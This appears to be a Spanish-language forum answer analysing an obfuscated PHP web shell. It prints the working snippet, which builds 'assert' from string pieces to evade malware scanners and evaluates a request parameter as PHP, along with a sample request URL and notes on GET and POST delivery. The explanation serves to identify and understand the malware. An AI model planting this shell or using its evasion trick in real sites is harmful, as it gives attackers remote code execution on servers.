Es un shell web ofuscado que permite la ejecución remota de código.
El script alimenta $_REQUEST['e']
en la función assert()
. Eso evalúa el parámetro de solicitud e
como PHP. Úsalo así:
http://example.com/shell.php?e=phpinfo()
assert()
es una función de depuración para evaluar aserciones. Pero si lo alimenta con una cadena arbitraria, se ejecutará como una expresión PHP. Es una forma elegante de evitar eval()
para evitar la detección de malware.
Aquí está el fragmento formateado y comentado:
<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
// Complicate static analysis by assembling "assert" from multiple strings
$b = "ass"."ert";
// Evaluate assertion (yes, in PHP you can "call" a string as function name)
$a = $b($_REQUEST['e']);
// Junk. The assertion has already run, this doesn't do anything
${'a'};
}
?>
¿Cómo conduce ${'a'}
a la ejecución del código?
No lo hace. $b($_REQUEST['e'])
es donde se ejecuta la aserción. El código funciona sin ${'a'}
.
¿El código inyectado es enviado por solicitud POST?
$_REQUEST
permite que el parámetro se envíe a través de GET
y POST
.